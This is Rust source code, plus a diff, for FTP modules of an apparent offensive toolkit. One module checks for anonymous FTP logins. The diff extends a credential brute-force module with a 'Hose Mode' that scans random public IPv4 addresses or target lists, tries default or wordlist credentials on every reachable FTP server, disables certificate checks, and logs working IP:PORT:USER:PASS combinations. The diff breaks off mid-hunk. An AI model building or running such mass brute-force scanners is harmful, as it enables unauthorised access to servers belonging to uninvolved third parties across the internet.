use suppaftp::async_native_tls::TlsConnector;
|
||||
use tokio::time::{timeout, Duration};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::process::Command;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use rand::Rng;
|
||||
use tokio::net::TcpStream; // For fast connect check
|
||||
|
||||
use crate::utils::{prompt_default, prompt_int_range, prompt_yes_no};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 5;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
const STATE_FILE: &str = "ftp_hose_state.log";
|
||||
|
||||
// Hardcoded exclusions
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
|
||||
println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
target.to_string()
|
||||
} else {
|
||||
let clean = if target.starts_with('[') && target.ends_with(']') {
|
||||
&target[1..target.len() - 1]
|
||||
} else {
|
||||
target
|
||||
};
|
||||
if clean.contains(':') {
|
||||
format!("[{}]:{}", clean, port)
|
||||
} else {
|
||||
format!("{}:{}", clean, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Anonymous FTP/FTPS login test with IPv6 support
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Check for Mass Scan Mode conditions
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Standard Single Target Logic ---
|
||||
let addr = format_addr(target, 21);
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
|
||||
println!();
|
||||
|
||||
// 1️⃣ Try plain FTP first
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if result.is_ok() {
|
||||
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
|
||||
// Optional: Check if we can run command?
|
||||
// For single target, we usually just report login success in legacy mode.
|
||||
// But let's be consistent and try listing.
|
||||
match ftp.list(None).await {
|
||||
Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()),
|
||||
Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()),
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(());
|
||||
} else if let Err(e) = result {
|
||||
if e.to_string().contains("530") {
|
||||
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
|
||||
return Ok(());
|
||||
} else if e.to_string().contains("550 SSL") {
|
||||
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
|
||||
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
|
||||
}
|
||||
|
||||
// 2️⃣ Fallback to FTPS
|
||||
println!("{}", "[*] Attempting FTPS connection...".cyan());
|
||||
|
||||
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
ftps = ftps
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
|
||||
|
||||
match ftps.login("anonymous", "anonymous").await {
|
||||
Ok(_) => {
|
||||
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
|
||||
match ftps.list(None).await {
|
||||
Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()),
|
||||
Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()),
|
||||
}
|
||||
let _ = ftps.quit().await;
|
||||
}
|
||||
Err(e) if e.to_string().contains("530") => {
|
||||
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
|
||||
}
|
||||
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
// Prep
|
||||
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
|
||||
let _verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let output_file = prompt_default("Output result file", "ftp_mass_results.txt")?;
|
||||
|
||||
// Parse exclusions
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusion_subnets);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Stats
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} open anonymous FTP found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
// Initialize state file
|
||||
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
|
||||
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let exc = exclusions.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
mass_scan_host(ip, sf, of).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File Mode
|
||||
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
// Simple IP parse
|
||||
if let Ok(ip) = ip_str.parse::<IpAddr>() {
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
mass_scan_host(ip, sf, of).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
} else {
|
||||
drop(permit);
|
||||
}
|
||||
}
|
||||
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, 21);
|
||||
|
||||
// 1. Connection Check
|
||||
if timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
// 2. FTP Login (Plain only for speed/mass scan)
|
||||
let addr_str = format!("{}:21", ip);
|
||||
match timeout(Duration::from_millis(5000), AsyncFtpStream::connect(&addr_str)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if result.is_ok() {
|
||||
// LOGIN OK - Now VERIFY command capability
|
||||
// We use LIST (None implies current directory)
|
||||
// We set a short timeout for list because sometimes passive mode hangs on bad NATs
|
||||
match timeout(Duration::from_secs(5), ftp.list(None)).await {
|
||||
Ok(Ok(_)) => {
|
||||
// Success: Login + List
|
||||
// Format: IP:PORT:USER:PASS
|
||||
let msg = format!("{}:21:anonymous:anonymous", ip);
|
||||
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
Ok(Err(_)) => {
|
||||
// Login ok, List failed (550 or similar)
|
||||
}
|
||||
Err(_) => {
|
||||
// List timed out (PASV issue?)
|
||||
}
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !excluded {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn is_ip_checked(ip: &impl ToString) -> bool {
|
||||
if !std::path::Path::new(STATE_FILE).exists() {
|
||||
return false;
|
||||
}
|
||||
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep")
|
||||
.arg("-F")
|
||||
.arg("-q")
|
||||
.arg(format!("checked: {}", ip_s))
|
||||
.arg(STATE_FILE)
|
||||
.stderr(std::process::Stdio::null()) // Suppress stderr just in case
|
||||
.status()
|
||||
.await;
|
||||
|
||||
match status {
|
||||
Ok(s) => s.success(),
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
|
||||
async fn mark_ip_checked(ip: &impl ToString) {
|
||||
let data = format!("checked: {}\n", ip.to_string());
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(STATE_FILE)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
+266
-154
@@ -1,4 +1,4 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
@@ -7,22 +7,44 @@ use std::{
|
||||
io::Write,
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
net::{IpAddr, Ipv4Addr, SocketAddr},
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, timeout},
|
||||
process::Command,
|
||||
fs::OpenOptions,
|
||||
io::AsyncWriteExt,
|
||||
net::TcpStream,
|
||||
};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use rand::Rng;
|
||||
|
||||
use crate::utils::{
|
||||
prompt_required, prompt_default, prompt_yes_no,
|
||||
prompt_int_range, prompt_existing_file, prompt_port,
|
||||
load_lines, get_filename_in_current_dir
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
const STATE_FILE: &str = "ftp_brute_hose_state.log";
|
||||
|
||||
// Hardcoded exclusions
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
/// FTP error classification for better handling
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
@@ -39,7 +61,7 @@ impl FtpErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let msg_lower = msg.to_lowercase();
|
||||
|
||||
// Authentication failed (wrong credentials)
|
||||
// Authentication failed
|
||||
if msg.contains("530") || msg_lower.contains("login incorrect") ||
|
||||
msg_lower.contains("user") && msg_lower.contains("cannot") ||
|
||||
msg_lower.contains("password") && msg_lower.contains("incorrect") {
|
||||
@@ -75,7 +97,7 @@ impl FtpErrorType {
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
|
||||
println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
@@ -103,17 +125,25 @@ fn format_addr_for_display(target: &str, port: u16) -> String {
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Check for Mass Scan Mode
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21").await?;
|
||||
if let Ok(p) = input.parse() { break p }
|
||||
println!("Invalid port. Try again.");
|
||||
};
|
||||
let usernames_file = prompt_required("Username wordlist").await?;
|
||||
let passwords_file = prompt_required("Password wordlist").await?;
|
||||
// --- Standard Single Target Logic ---
|
||||
|
||||
let port: u16 = prompt_port("FTP Port", 21)?;
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "500").await?;
|
||||
let input = prompt_default("Max concurrent tasks", "500")?;
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
if n > 0 { break n }
|
||||
}
|
||||
@@ -123,15 +153,15 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Create a semaphore to limit concurrent network operations
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ftp_results.txt").await?)
|
||||
Some(prompt_default("Output file", "ftp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false).await?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
|
||||
|
||||
let display_addr = format_addr_for_display(target, port);
|
||||
let connect_addr = format_addr_for_display(target, port);
|
||||
@@ -225,8 +255,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
let mut _unknown_clone = unknown_clone.lock().await;
|
||||
_unknown_clone.push((
|
||||
display_addr_clone.clone(),
|
||||
user_clone.clone(),
|
||||
pass_clone.clone(),
|
||||
@@ -234,14 +264,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
display_addr_clone, user_clone, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
println!("\r{}", format!("[?] {} -> {}:{} error/unknown: {}", display_addr_clone, user_clone, pass_clone, msg).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -306,14 +329,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
display_addr_clone, user, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
println!("\r{}", format!("[!] Error: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -344,15 +360,18 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} {} -> {}:{}", "✓".green(), host, user, pass);
|
||||
println!(" {} {}:{}:{}", "✓".green(), host, user, pass);
|
||||
}
|
||||
if let Some(path) = save_path {
|
||||
let file_path = get_filename_in_current_dir(&path);
|
||||
match File::create(&file_path) {
|
||||
Ok(mut file) => {
|
||||
for (host, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file '{}'", file_path.display());
|
||||
// Standardized format: IP:PORT:USER:PASS
|
||||
// host should already include IP:PORT based on `display_addr` formatting earlier
|
||||
// But wait, `display_addr` is `[IP]:Port` or `IP:Port`
|
||||
// We want strictly `IP:PORT:USER:PASS`
|
||||
if writeln!(file, "{}:{}:{}", host, user, pass).is_err() {
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -365,58 +384,167 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
drop(creds);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
let unknown_guard = unknown.lock().await;
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored FTP responses.",
|
||||
unknown_guard.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if prompt_yes_no("Save unknown responses to file?", true).await? {
|
||||
let default_name = "ftp_unknown_responses.txt";
|
||||
let prompt_msg = format!(
|
||||
"What should the unknown results be saved as? (default: {})",
|
||||
default_name
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
// Prep
|
||||
let port: u16 = prompt_port("FTP Port", 21)?;
|
||||
let usernames_file = prompt_existing_file("Username wordlist")?;
|
||||
let passwords_file = prompt_existing_file("Password wordlist")?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let output_file = prompt_default("Output result file", "ftp_brute_mass_results.txt")?;
|
||||
|
||||
// Parse exclusions
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusion_subnets);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let creds_pkg = Arc::new((users, pass_lines));
|
||||
|
||||
// Stats
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} valid credentials found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
let fname = prompt_default(&prompt_msg, default_name).await?;
|
||||
let file_path = get_filename_in_current_dir(&fname);
|
||||
match File::create(&file_path) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# FTP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in unknown_guard.iter() {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
// Initialize state file
|
||||
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
|
||||
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File Mode
|
||||
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
if let Ok(ip) = ip_str.parse::<IpAddr>() {
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
println!("[+] Unknown responses saved to '{}'", file_path.display());
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
} else {
|
||||
drop(permit);
|
||||
}
|
||||
}
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, Vec<String>)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
verbose: bool
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
|
||||
// 1. Connection Check
|
||||
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
let (users, passes) = &*creds;
|
||||
|
||||
// 2. Iterative Bruteforce
|
||||
// Sequential try to avoid blasting the server
|
||||
let addr_str = format!("{}:{}", ip, port);
|
||||
|
||||
for user in users {
|
||||
for pass in passes {
|
||||
let res = try_ftp_login(&addr_str, &ip.to_string(), user, pass, verbose).await;
|
||||
match res {
|
||||
Ok(true) => {
|
||||
// Format: IP:PORT:USER:PASS
|
||||
let msg = format!("{}:{}:{}:{}", ip, port, user, pass);
|
||||
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop after first success
|
||||
}
|
||||
Ok(false) => { // Auth failed
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!(
|
||||
"[!] Could not create or write unknown response file '{}': {}",
|
||||
file_path.display(),
|
||||
e
|
||||
);
|
||||
// If conn refused/timeout, likely dead or blocked, abort this host
|
||||
let err = e.to_string().to_lowercase();
|
||||
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Try login using address string and fallback to FTPS if needed
|
||||
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
|
||||
// Attempt 1: Plain FTP
|
||||
if verbose {
|
||||
println!("[i] Connecting to {} (plain FTP)", addr);
|
||||
//println!("[i] Connecting to {} (plain FTP)", addr);
|
||||
}
|
||||
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
|
||||
@@ -433,17 +561,13 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
|
||||
return Ok(false);
|
||||
}
|
||||
FtpErrorType::TlsRequired => {
|
||||
if verbose { println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr); }
|
||||
// Proceed to FTPS attempt
|
||||
}
|
||||
FtpErrorType::ConnectionLimitExceeded => {
|
||||
println!("[-] {} - Server reported too many connections. Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
return Ok(false); // Treat as soft fail
|
||||
}
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP login error: {}", msg));
|
||||
}
|
